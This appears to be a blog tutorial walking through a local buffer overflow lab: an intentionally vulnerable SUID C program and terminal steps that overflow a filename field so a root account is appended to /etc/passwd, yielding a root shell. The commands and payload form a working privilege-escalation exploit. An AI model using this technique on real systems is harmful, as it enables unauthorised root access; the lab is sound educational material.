Exploiting Simple Buffer Overflow (1) - Super Basics
07 Nov 2015Recently I’ve been revising the concept of buffer overflow and its exploitation, so I will post a sequence of articles on this topic with varying settings. In this article, let’s exploit a simple SUID-ed program with a stack-based BOF to add a new root-priviledged user with a chosen password. This example is referenced from the book Hacking: the Art of Exploitation.
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ uname -a
Linux sirius 3.13.0-63-generic #103-Ubuntu SMP Fri Aug 14 21:42:59 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.3 LTS
Release: 14.04
Codename: trusty
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
I’m using x86_64, but I will compile the program in 32bit mode.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
struct data {
char buffer[100];
char datafile[20];
};
int main (int argc, char **argv){
struct data data;
strcpy(data.datafile, "/var/notes");
if (argc < 2) {
printf("Usage: %s <buffer>\n", argv[0]);
exit(1);
}
strcpy(data.buffer, argv[1]);
printf("[DEBUG] data.buffer @ %p: \'%s\'\n", data.buffer, data.buffer);
printf("[DEBUG] data.datafile @ %p: \'%s\'\n", data.datafile, data.datafile);
int fd;
fd = open(data.datafile, O_WRONLY| O_APPEND);
printf("[DEBUG] fd @ %p: %d\n", &fd, fd);
if (write(fd, data.buffer, strlen(data.buffer)) == -1) {
fprintf(stderr, "in main() - no write\n");
exit(1);
}
if (close(fd) == -1) {
fprintf(stderr, "in main() - no close\n");
exit(1);
}
return 0;
}
The program shown above simply appends buffer
to the file /var/notes
. When strcpy is called to copy argv[1]
to buffer
, it can cause a buffer overflow — when more than 100 characters are stored in argv[0]
, then the remaining string would be overflowed. The Makefile shown below is used to compile and chown/chmod the program.
CC=gcc
CFLAGS=-m32 -std=c99 -Wall
all: pass_change
pass_change: pass_change.o
$(CC) $(CFLAGS) -o $@ $^
sudo chown 0:0 $@
sudo chmod u+s $@
pass_change.o: pass_change.c
clean:
rm pass_change.o pass_change
When argv[1]
is not over 100 characters, it works perfectly.
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ sudo touch /var/notes
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ ./pass_change AAAA
[DEBUG] data.buffer @ 0xffce9dd4: 'AAAA'
[DEBUG] data.datafile @ 0xffce9e38: '/var/notes'
[DEBUG] fd @ 0xffce9dd0: 3
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ cat /var/notes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ python -c "print 0xffce9e38-0xffce9dd4"
100
Since the offset between buffer and datafile is 100 (same as the size of buffer), the overflowed strings of argv[1] will be overwritten to datafile
.
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ ./pass_change $(perl -e 'print "A"x120')
[DEBUG] data.buffer @ 0xffed7924: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[DEBUG] data.datafile @ 0xffed7988: 'AAAAAAAAAAAAAAAAAAAA'
[DEBUG] fd @ 0xffed7920: -1
in main() - no write
By exploiting this BOF, let’s create a new user with a chosen password by appending to /etc/passwd
file. Following the format of /etc/passwd
in UNIX system, I will add username myroot
with password password
— myroot:AA6tQYSfGxd/A:0:0:me:/root:/bin/bash
. As shown below, password
is encrypted using Crypto() OpenSSL cryptographic library with a salt “AA”. Note that the 3rd & 4th entry (i.e. “0:0”) indicates root privilege. If you want to know the format of /etc/passwd more in detail, refer to a link here.
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ perl -e "print crypt('password', 'AA')"
AA6tQYSfGxd/A
The content of datafile needs to be /etc/passwd
, but the last entry in /etc/passwd needs to specify the user’s default shell. So, let’s create a symbolic link with the name /tmp/etc/passwd
pointing to /bin/bash
. Then, adjust the length of the user ID info (comment section), so that the location of /etc/passwd
would be at 100.
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ ln -s /bin/bash /tmp/etc/passwd
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x50 . ":/root:/tmp"' | wc -c
86
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp"' | wc -c
100
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp" . "/etc/passwd"'
myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd
Good. And here it is, you get the root shell.
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ ./pass_change $(perl -e 'print "myroot:AA6tQYSfGxd/A:0:0:" . "A"x64 . ":/root:/tmp" . "/etc/passwd"')
[DEBUG] data.buffer @ 0xff8541b4: 'myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd'
[DEBUG] data.datafile @ 0xff854218: '/etc/passwd'
[DEBUG] fd @ 0xff8541b0: 3
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ cat /etc/passwd | grep myroot
myroot:AA6tQYSfGxd/A:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd
taishi@sirius:~/blackhat_python/bof_lab|master⚡
⇒ su myroot
Password:
root@sirius:/home/taishi/blackhat_python/bof_lab# whoami
root